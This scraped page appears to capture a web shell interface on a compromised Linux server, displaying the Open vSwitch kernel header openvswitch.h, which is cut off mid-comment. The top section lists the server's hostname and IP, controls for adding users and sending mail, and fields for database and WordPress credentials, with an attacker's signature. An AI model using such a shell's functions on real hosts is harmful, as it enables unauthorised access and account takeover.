System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
linux
/
216.73.216.6
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
openvswitch.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Copyright (c) 2007-2017 Nicira, Inc. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public * License as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301, USA */ #ifndef __LINUX_OPENVSWITCH_H #define __LINUX_OPENVSWITCH_H 1 #include <linux/types.h> #include <linux/if_ether.h> /** * struct ovs_header - header for OVS Generic Netlink messages. * @dp_ifindex: ifindex of local port for datapath (0 to make a request not * specific to a datapath). * * Attributes following the header are specific to a particular OVS Generic * Netlink family, but all of the OVS families use this header. */ struct ovs_header { int dp_ifindex; }; /* Datapaths. */ #define OVS_DATAPATH_FAMILY "ovs_datapath" #define OVS_DATAPATH_MCGROUP "ovs_datapath" /* V2: * - API users are expected to provide OVS_DP_ATTR_USER_FEATURES * when creating the datapath. */ #define OVS_DATAPATH_VERSION 2 /* First OVS datapath version to support features */ #define OVS_DP_VER_FEATURES 2 enum ovs_datapath_cmd { OVS_DP_CMD_UNSPEC, OVS_DP_CMD_NEW, OVS_DP_CMD_DEL, OVS_DP_CMD_GET, OVS_DP_CMD_SET }; /** * enum ovs_datapath_attr - attributes for %OVS_DP_* commands. * @OVS_DP_ATTR_NAME: Name of the network device that serves as the "local * port". This is the name of the network device whose dp_ifindex is given in * the &struct ovs_header. Always present in notifications. Required in * %OVS_DP_NEW requests. May be used as an alternative to specifying * dp_ifindex in other requests (with a dp_ifindex of 0). * @OVS_DP_ATTR_UPCALL_PID: The Netlink socket in userspace that is initially * set on the datapath port (for OVS_ACTION_ATTR_MISS). Only valid on * %OVS_DP_CMD_NEW requests. A value of zero indicates that upcalls should * not be sent. * @OVS_DP_ATTR_PER_CPU_PIDS: Per-cpu array of PIDs for upcalls when * OVS_DP_F_DISPATCH_UPCALL_PER_CPU feature is set. * @OVS_DP_ATTR_STATS: Statistics about packets that have passed through the * datapath. Always present in notifications. * @OVS_DP_ATTR_MEGAFLOW_STATS: Statistics about mega flow masks usage for the * datapath. Always present in notifications. * @OVS_DP_ATTR_IFINDEX: Interface index for a new datapath netdev. Only * valid for %OVS_DP_CMD_NEW requests. * * These attributes follow the &struct ovs_header within the Generic Netlink * payload for %OVS_DP_* commands. */ enum ovs_datapath_attr { OVS_DP_ATTR_UNSPEC, OVS_DP_ATTR_NAME, /* name of dp_ifindex netdev */ OVS_DP_ATTR_UPCALL_PID, /* Netlink PID to receive upcalls */ OVS_DP_ATTR_STATS, /* struct ovs_dp_stats */ OVS_DP_ATTR_MEGAFLOW_STATS, /* struct ovs_dp_megaflow_stats */ OVS_DP_ATTR_USER_FEATURES, /* OVS_DP_F_* */ OVS_DP_ATTR_PAD, OVS_DP_ATTR_MASKS_CACHE_SIZE, OVS_DP_ATTR_PER_CPU_PIDS, /* Netlink PIDS to receive upcalls in * per-cpu dispatch mode */ OVS_DP_ATTR_IFINDEX, __OVS_DP_ATTR_MAX }; #define OVS_DP_ATTR_MAX (__OVS_DP_ATTR_MAX - 1) struct ovs_dp_stats { __u64 n_hit; /* Number of flow table matches. */ __u64 n_missed; /* Number of flow table misses. */ __u64 n_lost; /* Number of misses not sent to userspace. */ __u64 n_flows; /* Number of flows present */ }; struct ovs_dp_megaflow_stats { __u64 n_mask_hit; /* Number of masks used for flow lookups. */ __u32 n_masks; /* Number of masks for the datapath. */ __u32 pad0; /* Pad for future expension. */ __u64 n_cache_hit; /* Number of cache matches for flow lookups. */ __u64 pad1; /* Pad for future expension. */ }; struct ovs_vport_stats { __u64 rx_packets; /* total packets received */ __u64 tx_packets; /* total packets transmitted */ __u64 rx_bytes; /* total bytes received */ __u64 tx_bytes; /* total bytes transmitted */ __u64 rx_errors; /* bad packets received */ __u64 tx_errors; /* packet transmit problems */ __u64 rx_dropped; /* no space in linux buffers */ __u64 tx_dropped; /* no space available in linux */ }; /* Allow last Netlink attribute to be unaligned */ #define OVS_DP_F_UNALIGNED (1 << 0) /* Allow datapath to associate multiple Netlink PIDs to each vport */ #define OVS_DP_F_VPORT_PIDS (1 << 1) /* Allow tc offload recirc sharing */ #define OVS_DP_F_TC_RECIRC_SHARING (1 << 2) /* Allow per-cpu dispatch of upcalls */ #define OVS_DP_F_DISPATCH_UPCALL_PER_CPU (1 << 3) /* Fixed logical ports. */ #define OVSP_LOCAL ((__u32)0) /* Packet transfer. */ #define OVS_PACKET_FAMILY "ovs_packet" #define OVS_PACKET_VERSION 0x1 enum ovs_packet_cmd { OVS_PACKET_CMD_UNSPEC, /* Kernel-to-user notifications. */ OVS_PACKET_CMD_MISS, /* Flow table miss. */ OVS_PACKET_CMD_ACTION, /* OVS_ACTION_ATTR_USERSPACE action. */ /* Userspace commands. */ OVS_PACKET_CMD_EXECUTE /* Apply actions to a packet. */ }; /** * enum ovs_packet_attr - attributes for %OVS_PACKET_* commands. * @OVS_PACKET_ATTR_PACKET: Present for all notifications. Contains the entire * packet as received, from the start of the Ethernet header onward. For * %OVS_PACKET_CMD_ACTION, %OVS_PACKET_ATTR_PACKET reflects changes made by * actions preceding %OVS_ACTION_ATTR_USERSPACE, but %OVS_PACKET_ATTR_KEY is * the flow key extracted from the packet as originally received. * @OVS_PACKET_ATTR_KEY: Present for all notifications. Contains the flow key * extracted from the packet as nested %OVS_KEY_ATTR_* attributes. This allows * userspace to adapt its flow setup strategy by comparing its notion of the * flow key against the kernel's. * @OVS_PACKET_ATTR_ACTIONS: Contains actions for the packet. Used * for %OVS_PACKET_CMD_EXECUTE. It has nested %OVS_ACTION_ATTR_* attributes. * Also used in upcall when %OVS_ACTION_ATTR_USERSPACE has optional * %OVS_USERSPACE_ATTR_ACTIONS attribute. * @OVS_PACKET_ATTR_USERDATA: Present for an %OVS_PACKET_CMD_ACTION * notification if the %OVS_ACTION_ATTR_USERSPACE action specified an * %OVS_USERSPACE_ATTR_USERDATA attribute, with the same length and content * specified there. * @OVS_PACKET_ATTR_EGRESS_TUN_KEY: Present for an %OVS_PACKET_CMD_ACTION * notification if the %OVS_ACTION_ATTR_USERSPACE action specified an * %OVS_USERSPACE_ATTR_EGRESS_TUN_PORT attribute, which is sent only if the * output port is actually a tunnel port. Contains the output tunnel key * extracted from the packet as nested %OVS_TUNNEL_KEY_ATTR_* attributes. * @OVS_PACKET_ATTR_MRU: Present for an %OVS_PACKET_CMD_ACTION and * @OVS_PACKET_ATTR_LEN: Packet size before truncation. * %OVS_PACKET_ATTR_USERSPACE action specify the Maximum received fragment * size. * @OVS_PACKET_ATTR_HASH: Packet hash info (e.g. hash, sw_hash and l4_hash in skb). * * These attributes follow the &struct ovs_header within the Generic Netlink * payload for %OVS_PACKET_* commands. */ enum ovs_packet_attr { OVS_PACKET_ATTR_UNSPEC, OVS_PACKET_ATTR_PACKET, /* Packet data. */ OVS_PACKET_ATTR_KEY, /* Nested OVS_KEY_ATTR_* attributes. */ OVS_PACKET_ATTR_ACTIONS, /* Nested OVS_ACTION_ATTR_* attributes. */ OVS_PACKET_ATTR_USERDATA, /* OVS_ACTION_ATTR_USERSPACE arg. */ OVS_PACKET_ATTR_EGRESS_TUN_KEY, /* Nested OVS_TUNNEL_KEY_ATTR_* attributes. */ OVS_PACKET_ATTR_UNUSED1, OVS_PACKET_ATTR_UNUSED2, OVS_PACKET_ATTR_PROBE, /* Packet operation is a feature probe, error logging should be suppressed. */ OVS_PACKET_ATTR_MRU, /* Maximum received IP fragment size. */ OVS_PACKET_ATTR_LEN, /* Packet size before truncation. */ OVS_PACKET_ATTR_HASH, /* Packet hash. */ __OVS_PACKET_ATTR_MAX }; #define OVS_PACKET_ATTR_MAX (__OVS_PACKET_ATTR_MAX - 1) /* Virtual ports. */ #define OVS_VPORT_FAMILY "ovs_vport" #define OVS_VPORT_MCGROUP "ovs_vport" #define OVS_VPORT_VERSION 0x1 enum ovs_vport_cmd { OVS_VPORT_CMD_UNSPEC, OVS_VPORT_CMD_NEW, OVS_VPORT_CMD_DEL, OVS_VPORT_CMD_GET, OVS_VPORT_CMD_SET }; enum ovs_vport_type { OVS_VPORT_TYPE_UNSPEC, OVS_VPORT_TYPE_NETDEV, /* network device */ OVS_VPORT_TYPE_INTERNAL, /* network device implemented by datapath */ OVS_VPORT_TYPE_GRE, /* GRE tunnel. */ OVS_VPORT_TYPE_VXLAN, /* VXLAN tunnel. */ OVS_VPORT_TYPE_GENEVE, /* Geneve tunnel. */ __OVS_VPORT_TYPE_MAX }; #define OVS_VPORT_TYPE_MAX (__OVS_VPORT_TYPE_MAX - 1) /** * enum ovs_vport_attr - attributes for %OVS_VPORT_* commands. * @OVS_VPORT_ATTR_PORT_NO: 32-bit port number within datapath. * @OVS_VPORT_ATTR_TYPE: 32-bit %OVS_VPORT_TYPE_* constant describing the type * of vport. * @OVS_VPORT_ATTR_NAME: Name of vport. For a vport based on a network device * this is the name of the network device. Maximum length %IFNAMSIZ-1 bytes * plus a null terminator. * @OVS_VPORT_ATTR_OPTIONS: Vport-specific configuration information. * @OVS_VPORT_ATTR_UPCALL_PID: The array of Netlink socket pids in userspace * among which OVS_PACKET_CMD_MISS upcalls will be distributed for packets * received on this port. If this is a single-element array of value 0, * upcalls should not be sent. * @OVS_VPORT_ATTR_STATS: A &struct ovs_vport_stats giving statistics for * packets sent or received through the vport. * * These attributes follow the &struct ovs_header within the Generic Netlink * payload for %OVS_VPORT_* commands. * * For %OVS_VPORT_CMD_NEW requests, the %OVS_VPORT_ATTR_TYPE and * %OVS_VPORT_ATTR_NAME attributes are required. %OVS_VPORT_ATTR_PORT_NO is * optional; if not specified a free port number is automatically selected. * Whether %OVS_VPORT_ATTR_OPTIONS is required or optional depends on the type * of vport. * * For other requests, if %OVS_VPORT_ATTR_NAME is specified then it is used to * look up the vport to operate on; otherwise dp_idx from the &struct * ovs_header plus %OVS_VPORT_ATTR_PORT_NO determine the vport. */ enum ovs_vport_attr { OVS_VPORT_ATTR_UNSPEC, OVS_VPORT_ATTR_PORT_NO, /* u32 port number within datapath */ OVS_VPORT_ATTR_TYPE, /* u32 OVS_VPORT_TYPE_* constant. */ OVS_VPORT_ATTR_NAME, /* string name, up to IFNAMSIZ bytes long */ OVS_VPORT_ATTR_OPTIONS, /* nested attributes, varies by vport type */ OVS_VPORT_ATTR_UPCALL_PID, /* array of u32 Netlink socket PIDs for */ /* receiving upcalls */ OVS_VPORT_ATTR_STATS, /* struct ovs_vport_stats */ OVS_VPORT_ATTR_PAD, OVS_VPORT_ATTR_IFINDEX, OVS_VPORT_ATTR_NETNSID, OVS_VPORT_ATTR_UPCALL_STATS, __OVS_VPORT_ATTR_MAX }; #define OVS_VPORT_ATTR_MAX (__OVS_VPORT_ATTR_MAX - 1) /** * enum ovs_vport_upcall_attr - attributes for %OVS_VPORT_UPCALL* commands * @OVS_VPORT_UPCALL_SUCCESS: 64-bit upcall success packets. * @OVS_VPORT_UPCALL_FAIL: 64-bit upcall fail packets. */ enum ovs_vport_upcall_attr { OVS_VPORT_UPCALL_ATTR_SUCCESS, OVS_VPORT_UPCALL_ATTR_FAIL, __OVS_VPORT_UPCALL_ATTR_MAX }; #define OVS_VPORT_UPCALL_ATTR_MAX (__OVS_VPORT_UPCALL_ATTR_MAX - 1) enum { OVS_VXLAN_EXT_UNSPEC, OVS_VXLAN_EXT_GBP, /* Flag or __u32 */ __OVS_VXLAN_EXT_MAX, }; #define OVS_VXLAN_EXT_MAX (__OVS_VXLAN_EXT_MAX - 1) /* OVS_VPORT_ATTR_OPTIONS attributes for tunnels. */ enum { OVS_TUNNEL_ATTR_UNSPEC, OVS_TUNNEL_ATTR_DST_PORT, /* 16-bit UDP port, used by L4 tunnels. */ OVS_TUNNEL_ATTR_EXTENSION, __OVS_TUNNEL_ATTR_MAX }; #define OVS_TUNNEL_ATTR_MAX (__OVS_TUNNEL_ATTR_MAX - 1) /* Flows. */ #define OVS_FLOW_FAMILY "ovs_flow" #define OVS_FLOW_MCGROUP "ovs_flow" #define OVS_FLOW_VERSION 0x1 enum ovs_flow_cmd { OVS_FLOW_CMD_UNSPEC, OVS_FLOW_CMD_NEW, OVS_FLOW_CMD_DEL, OVS_FLOW_CMD_GET, OVS_FLOW_CMD_SET }; struct ovs_flow_stats { __u64 n_packets; /* Number of matched packets. */ __u64 n_bytes; /* Number of matched bytes. */ }; enum ovs_key_attr { OVS_KEY_ATTR_UNSPEC, OVS_KEY_ATTR_ENCAP, /* Nested set of encapsulated attributes. */ OVS_KEY_ATTR_PRIORITY, /* u32 skb->priority */ OVS_KEY_ATTR_IN_PORT, /* u32 OVS dp port number */ OVS_KEY_ATTR_ETHERNET, /* struct ovs_key_ethernet */ OVS_KEY_ATTR_VLAN, /* be16 VLAN TCI */ OVS_KEY_ATTR_ETHERTYPE, /* be16 Ethernet type */ OVS_KEY_ATTR_IPV4, /* struct ovs_key_ipv4 */ OVS_KEY_ATTR_IPV6, /* struct ovs_key_ipv6 */ OVS_KEY_ATTR_TCP, /* struct ovs_key_tcp */ OVS_KEY_ATTR_UDP, /* struct ovs_key_udp */ OVS_KEY_ATTR_ICMP, /* struct ovs_key_icmp */ OVS_KEY_ATTR_ICMPV6, /* struct ovs_key_icmpv6 */ OVS_KEY_ATTR_ARP, /* struct ovs_key_arp */ OVS_KEY_ATTR_ND, /* struct ovs_key_nd */ OVS_KEY_ATTR_SKB_MARK, /* u32 skb mark */ OVS_KEY_ATTR_TUNNEL, /* Nested set of ovs_tunnel attributes */ OVS_KEY_ATTR_SCTP, /* struct ovs_key_sctp */ OVS_KEY_ATTR_TCP_FLAGS, /* be16 TCP flags. */ OVS_KEY_ATTR_DP_HASH, /* u32 hash value. Value 0 indicates the hash is not computed by the datapath. */ OVS_KEY_ATTR_RECIRC_ID, /* u32 recirc id */ OVS_KEY_ATTR_MPLS, /* array of struct ovs_key_mpls. * The implementation may restrict * the accepted length of the array. */ OVS_KEY_ATTR_CT_STATE, /* u32 bitmask of OVS_CS_F_* */ OVS_KEY_ATTR_CT_ZONE, /* u16 connection tracking zone. */ OVS_KEY_ATTR_CT_MARK, /* u32 connection tracking mark */ OVS_KEY_ATTR_CT_LABELS, /* 16-octet connection tracking label */ OVS_KEY_ATTR_CT_ORIG_TUPLE_IPV4, /* struct ovs_key_ct_tuple_ipv4 */ OVS_KEY_ATTR_CT_ORIG_TUPLE_IPV6, /* struct ovs_key_ct_tuple_ipv6 */ OVS_KEY_ATTR_NSH, /* Nested set of ovs_nsh_key_* */ __OVS_KEY_ATTR_MAX }; #define OVS_KEY_ATTR_MAX (__OVS_KEY_ATTR_MAX - 1) enum ovs_tunnel_key_attr { /* OVS_TUNNEL_KEY_ATTR_NONE, standard nl API requires this attribute! */ OVS_TUNNEL_KEY_ATTR_ID, /* be64 Tunnel ID */ OVS_TUNNEL_KEY_ATTR_IPV4_SRC, /* be32 src IP address. */ OVS_TUNNEL_KEY_ATTR_IPV4_DST, /* be32 dst IP address. */ OVS_TUNNEL_KEY_ATTR_TOS, /* u8 Tunnel IP ToS. */ OVS_TUNNEL_KEY_ATTR_TTL, /* u8 Tunnel IP TTL. */ OVS_TUNNEL_KEY_ATTR_DONT_FRAGMENT, /* No argument, set DF. */ OVS_TUNNEL_KEY_ATTR_CSUM, /* No argument. CSUM packet. */ OVS_TUNNEL_KEY_ATTR_OAM, /* No argument. OAM frame. */ OVS_TUNNEL_KEY_ATTR_GENEVE_OPTS, /* Array of Geneve options. */ OVS_TUNNEL_KEY_ATTR_TP_SRC, /* be16 src Transport Port. */ OVS_TUNNEL_KEY_ATTR_TP_DST, /* be16 dst Transport Port. */ OVS_TUNNEL_KEY_ATTR_VXLAN_OPTS, /* Nested OVS_VXLAN_EXT_* */ OVS_TUNNEL_KEY_ATTR_IPV6_SRC, /* struct in6_addr src IPv6 address. */ OVS_TUNNEL_KEY_ATTR_IPV6_DST, /* struct in6_addr dst IPv6 address. */ OVS_TUNNEL_KEY_ATTR_PAD, OVS_TUNNEL_KEY_ATTR_ERSPAN_OPTS, /* struct erspan_metadata */ OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE, /* No argument. IPV4_INFO_BRIDGE mode.*/ __OVS_TUNNEL_KEY_ATTR_MAX }; #define OVS_TUNNEL_KEY_ATTR_MAX (__OVS_TUNNEL_KEY_ATTR_MAX - 1) /** * enum ovs_frag_type - IPv4 and IPv6 fragment type * @OVS_FRAG_TYPE_NONE: Packet is not a fragment. * @OVS_FRAG_TYPE_FIRST: Packet is a fragment with offset 0. * @OVS_FRAG_TYPE_LATER: Packet is a fragment with nonzero offset. * * Used as the @ipv4_frag in &struct ovs_key_ipv4 and as @ipv6_frag &struct * ovs_key_ipv6. */ enum ovs_frag_type { OVS_FRAG_TYPE_NONE, OVS_FRAG_TYPE_FIRST, OVS_FRAG_TYPE_LATER, __OVS_FRAG_TYPE_MAX }; #define OVS_FRAG_TYPE_MAX (__OVS_FRAG_TYPE_MAX - 1) struct ovs_key_ethernet { __u8 eth_src[ETH_ALEN]; __u8 eth_dst[ETH_ALEN]; }; struct ovs_key_mpls { __be32 mpls_lse; }; struct ovs_key_ipv4 { __be32 ipv4_src; __be32 ipv4_dst; __u8 ipv4_proto; __u8 ipv4_tos; __u8 ipv4_ttl; __u8 ipv4_frag; /* One of OVS_FRAG_TYPE_*. */ }; struct ovs_key_ipv6 { __be32 ipv6_src[4]; __be32 ipv6_dst[4]; __be32 ipv6_label; /* 20-bits in least-significant bits. */ __u8 ipv6_proto; __u8 ipv6_tclass; __u8 ipv6_hlimit; __u8 ipv6_frag; /* One of OVS_FRAG_TYPE_*. */ }; struct ovs_key_tcp { __be16 tcp_src; __be16 tcp_dst; }; struct ovs_key_udp { __be16 udp_src; __be16 udp_dst; }; struct ovs_key_sctp { __be16 sctp_src; __be16 sctp_dst; }; struct ovs_key_icmp { __u8 icmp_type; __u8 icmp_code; }; struct ovs_key_icmpv6 { __u8 icmpv6_type; __u8 icmpv6_code; }; struct ovs_key_arp { __be32 arp_sip; __be32 arp_tip; __be16 arp_op; __u8 arp_sha[ETH_ALEN]; __u8 arp_tha[ETH_ALEN]; }; struct ovs_key_nd { __be32 nd_target[4]; __u8 nd_sll[ETH_ALEN]; __u8 nd_tll[ETH_ALEN]; }; #define OVS_CT_LABELS_LEN_32 4 #define OVS_CT_LABELS_LEN (OVS_CT_LABELS_LEN_32 * sizeof(__u32)) struct ovs_key_ct_labels { union { __u8 ct_labels[OVS_CT_LABELS_LEN]; __u32 ct_labels_32[OVS_CT_LABELS_LEN_32]; }; }; /* OVS_KEY_ATTR_CT_STATE flags */ #define OVS_CS_F_NEW 0x01 /* Beginning of a new connection. */ #define OVS_CS_F_ESTABLISHED 0x02 /* Part of an existing connection. */ #define OVS_CS_F_RELATED 0x04 /* Related to an established * connection. */ #define OVS_CS_F_REPLY_DIR 0x08 /* Flow is in the reply direction. */ #define OVS_CS_F_INVALID 0x10 /* Could not track connection. */ #define OVS_CS_F_TRACKED 0x20 /* Conntrack has occurred. */ #define OVS_CS_F_SRC_NAT 0x40 /* Packet's source address/port was * mangled by NAT. */ #define OVS_CS_F_DST_NAT 0x80 /* Packet's destination address/port * was mangled by NAT. */ #define OVS_CS_F_NAT_MASK (OVS_CS_F_SRC_NAT | OVS_CS_F_DST_NAT) struct ovs_key_ct_tuple_ipv4 { __be32 ipv4_src; __be32 ipv4_dst; __be16 src_port; __be16 dst_port; __u8 ipv4_proto; }; struct ovs_key_ct_tuple_ipv6 { __be32 ipv6_src[4]; __be32 ipv6_dst[4]; __be16 src_port; __be16 dst_port; __u8 ipv6_proto; }; enum ovs_nsh_key_attr { OVS_NSH_KEY_ATTR_UNSPEC, OVS_NSH_KEY_ATTR_BASE, /* struct ovs_nsh_key_base. */ OVS_NSH_KEY_ATTR_MD1, /* struct ovs_nsh_key_md1. */ OVS_NSH_KEY_ATTR_MD2, /* variable-length octets for MD type 2. */ __OVS_NSH_KEY_ATTR_MAX }; #define OVS_NSH_KEY_ATTR_MAX (__OVS_NSH_KEY_ATTR_MAX - 1) struct ovs_nsh_key_base { __u8 flags; __u8 ttl; __u8 mdtype; __u8 np; __be32 path_hdr; }; #define NSH_MD1_CONTEXT_SIZE 4 struct ovs_nsh_key_md1 { __be32 context[NSH_MD1_CONTEXT_SIZE]; }; /** * enum ovs_flow_attr - attributes for %OVS_FLOW_* commands. * @OVS_FLOW_ATTR_KEY: Nested %OVS_KEY_ATTR_* attributes specifying the flow * key. Always present in notifications. Required for all requests (except * dumps). * @OVS_FLOW_ATTR_ACTIONS: Nested %OVS_ACTION_ATTR_* attributes specifying * the actions to take for packets that match the key. Always present in * notifications. Required for %OVS_FLOW_CMD_NEW requests, optional for * %OVS_FLOW_CMD_SET requests. An %OVS_FLOW_CMD_SET without * %OVS_FLOW_ATTR_ACTIONS will not modify the actions. To clear the actions, * an %OVS_FLOW_ATTR_ACTIONS without any nested attributes must be given. * @OVS_FLOW_ATTR_STATS: &struct ovs_flow_stats giving statistics for this * flow. Present in notifications if the stats would be nonzero. Ignored in * requests. * @OVS_FLOW_ATTR_TCP_FLAGS: An 8-bit value giving the OR'd value of all of the * TCP flags seen on packets in this flow. Only present in notifications for * TCP flows, and only if it would be nonzero. Ignored in requests. * @OVS_FLOW_ATTR_USED: A 64-bit integer giving the time, in milliseconds on * the system monotonic clock, at which a packet was last processed for this * flow. Only present in notifications if a packet has been processed for this * flow. Ignored in requests. * @OVS_FLOW_ATTR_CLEAR: If present in a %OVS_FLOW_CMD_SET request, clears the * last-used time, accumulated TCP flags, and statistics for this flow. * Otherwise ignored in requests. Never present in notifications. * @OVS_FLOW_ATTR_MASK: Nested %OVS_KEY_ATTR_* attributes specifying the * mask bits for wildcarded flow match. Mask bit value '1' specifies exact * match with corresponding flow key bit, while mask bit value '0' specifies * a wildcarded match. Omitting attribute is treated as wildcarding all * corresponding fields. Optional for all requests. If not present, * all flow key bits are exact match bits. * @OVS_FLOW_ATTR_UFID: A value between 1-16 octets specifying a unique * identifier for the flow. Causes the flow to be indexed by this value rather * than the value of the %OVS_FLOW_ATTR_KEY attribute. Optional for all * requests. Present in notifications if the flow was created with this * attribute. * @OVS_FLOW_ATTR_UFID_FLAGS: A 32-bit value of OR'd %OVS_UFID_F_* * flags that provide alternative semantics for flow installation and * retrieval. Optional for all requests. * * These attributes follow the &struct ovs_header within the Generic Netlink * payload for %OVS_FLOW_* commands. */ enum ovs_flow_attr { OVS_FLOW_ATTR_UNSPEC, OVS_FLOW_ATTR_KEY, /* Sequence of OVS_KEY_ATTR_* attributes. */ OVS_FLOW_ATTR_ACTIONS, /* Nested OVS_ACTION_ATTR_* attributes. */ OVS_FLOW_ATTR_STATS, /* struct ovs_flow_stats. */ OVS_FLOW_ATTR_TCP_FLAGS, /* 8-bit OR'd TCP flags. */ OVS_FLOW_ATTR_USED, /* u64 msecs last used in monotonic time. */ OVS_FLOW_ATTR_CLEAR, /* Flag to clear stats, tcp_flags, used. */ OVS_FLOW_ATTR_MASK, /* Sequence of OVS_KEY_ATTR_* attributes. */ OVS_FLOW_ATTR_PROBE, /* Flow operation is a feature probe, error * logging should be suppressed. */ OVS_FLOW_ATTR_UFID, /* Variable length unique flow identifier. */ OVS_FLOW_ATTR_UFID_FLAGS,/* u32 of OVS_UFID_F_*. */ OVS_FLOW_ATTR_PAD, __OVS_FLOW_ATTR_MAX }; #define OVS_FLOW_ATTR_MAX (__OVS_FLOW_ATTR_MAX - 1) /** * Omit attributes for notifications. * * If a datapath request contains an %OVS_UFID_F_OMIT_* flag, then the datapath * may omit the corresponding %OVS_FLOW_ATTR_* from the response. */ #define OVS_UFID_F_OMIT_KEY (1 << 0) #define OVS_UFID_F_OMIT_MASK (1 << 1) #define OVS_UFID_F_OMIT_ACTIONS (1 << 2) /** * enum ovs_sample_attr - Attributes for %OVS_ACTION_ATTR_SAMPLE action. * @OVS_SAMPLE_ATTR_PROBABILITY: 32-bit fraction of packets to sample with * @OVS_ACTION_ATTR_SAMPLE. A value of 0 samples no packets, a value of * %UINT32_MAX samples all packets and intermediate values sample intermediate * fractions of packets. * @OVS_SAMPLE_ATTR_ACTIONS: Set of actions to execute in sampling event. * Actions are passed as nested attributes. * * Executes the specified actions with the given probability on a per-packet * basis. */ enum ovs_sample_attr { OVS_SAMPLE_ATTR_UNSPEC, OVS_SAMPLE_ATTR_PROBABILITY, /* u32 number */ OVS_SAMPLE_ATTR_ACTIONS, /* Nested OVS_ACTION_ATTR_* attributes. */ __OVS_SAMPLE_ATTR_MAX, }; #define OVS_SAMPLE_ATTR_MAX (__OVS_SAMPLE_ATTR_MAX - 1) /** * enum ovs_userspace_attr - Attributes for %OVS_ACTION_ATTR_USERSPACE action. * @OVS_USERSPACE_ATTR_PID: u32 Netlink PID to which the %OVS_PACKET_CMD_ACTION * message should be sent. Required. * @OVS_USERSPACE_ATTR_USERDATA: If present, its variable-length argument is * copied to the %OVS_PACKET_CMD_ACTION message as %OVS_PACKET_ATTR_USERDATA. * @OVS_USERSPACE_ATTR_EGRESS_TUN_PORT: If present, u32 output port to get * tunnel info. * @OVS_USERSPACE_ATTR_ACTIONS: If present, send actions with upcall. */ enum ovs_userspace_attr { OVS_USERSPACE_ATTR_UNSPEC, OVS_USERSPACE_ATTR_PID, /* u32 Netlink PID to receive upcalls. */ OVS_USERSPACE_ATTR_USERDATA, /* Optional user-specified cookie. */ OVS_USERSPACE_ATTR_EGRESS_TUN_PORT, /* Optional, u32 output port * to get tunnel info. */ OVS_USERSPACE_ATTR_ACTIONS, /* Optional flag to get actions. */ __OVS_USERSPACE_ATTR_MAX }; #define OVS_USERSPACE_ATTR_MAX (__OVS_USERSPACE_ATTR_MAX - 1) struct ovs_action_trunc { __u32 max_len; /* Max packet size in bytes. */ }; /** * struct ovs_action_push_mpls - %OVS_ACTION_ATTR_PUSH_MPLS action argument. * @mpls_lse: MPLS label stack entry to push. * @mpls_ethertype: Ethertype to set in the encapsulating ethernet frame. * * The only values @mpls_ethertype should ever be given are %ETH_P_MPLS_UC and * %ETH_P_MPLS_MC, indicating MPLS unicast or multicast. Other are rejected. */ struct ovs_action_push_mpls { __be32 mpls_lse; __be16 mpls_ethertype; /* Either %ETH_P_MPLS_UC or %ETH_P_MPLS_MC */ }; /** * struct ovs_action_add_mpls - %OVS_ACTION_ATTR_ADD_MPLS action * argument. * @mpls_lse: MPLS label stack entry to push. * @mpls_ethertype: Ethertype to set in the encapsulating ethernet frame. * @tun_flags: MPLS tunnel attributes. * * The only values @mpls_ethertype should ever be given are %ETH_P_MPLS_UC and * %ETH_P_MPLS_MC, indicating MPLS unicast or multicast. Other are rejected. */ struct ovs_action_add_mpls { __be32 mpls_lse; __be16 mpls_ethertype; /* Either %ETH_P_MPLS_UC or %ETH_P_MPLS_MC */ __u16 tun_flags; }; #define OVS_MPLS_L3_TUNNEL_FLAG_MASK (1 << 0) /* Flag to specify the place of * insertion of MPLS header. * When false, the MPLS header * will be inserted at the start * of the packet. * When true, the MPLS header * will be inserted at the start * of the l3 header. */ /** * struct ovs_action_push_vlan - %OVS_ACTION_ATTR_PUSH_VLAN action argument. * @vlan_tpid: Tag protocol identifier (TPID) to push. * @vlan_tci: Tag control identifier (TCI) to push. The CFI bit must be set * (but it will not be set in the 802.1Q header that is pushed). * * The @vlan_tpid value is typically %ETH_P_8021Q or %ETH_P_8021AD. * The only acceptable TPID values are those that the kernel module also parses * as 802.1Q or 802.1AD headers, to prevent %OVS_ACTION_ATTR_PUSH_VLAN followed * by %OVS_ACTION_ATTR_POP_VLAN from having surprising results. */ struct ovs_action_push_vlan { __be16 vlan_tpid; /* 802.1Q or 802.1ad TPID. */ __be16 vlan_tci; /* 802.1Q TCI (VLAN ID and priority). */ }; /* Data path hash algorithm for computing Datapath hash. * * The algorithm type only specifies the fields in a flow * will be used as part of the hash. Each datapath is free * to use its own hash algorithm. The hash value will be * opaque to the user space daemon. */ enum ovs_hash_alg { OVS_HASH_ALG_L4, OVS_HASH_ALG_SYM_L4, }; /* * struct ovs_action_hash - %OVS_ACTION_ATTR_HASH action argument. * @hash_alg: Algorithm used to compute hash prior to recirculation. * @hash_basis: basis used for computing hash. */ struct ovs_action_hash { __u32 hash_alg; /* One of ovs_hash_alg. */ __u32 hash_basis; }; /** * enum ovs_ct_attr - Attributes for %OVS_ACTION_ATTR_CT action. * @OVS_CT_ATTR_COMMIT: If present, commits the connection to the conntrack * table. This allows future packets for the same connection to be identified * as 'established' or 'related'. The flow key for the current packet will * retain the pre-commit connection state. * @OVS_CT_ATTR_ZONE: u16 connection tracking zone. * @OVS_CT_ATTR_MARK: u32 value followed by u32 mask. For each bit set in the * mask, the corresponding bit in the value is copied to the connection * tracking mark field in the connection. * @OVS_CT_ATTR_LABELS: %OVS_CT_LABELS_LEN value followed by %OVS_CT_LABELS_LEN * mask. For each bit set in the mask, the corresponding bit in the value is * copied to the connection tracking label field in the connection. * @OVS_CT_ATTR_HELPER: variable length string defining conntrack 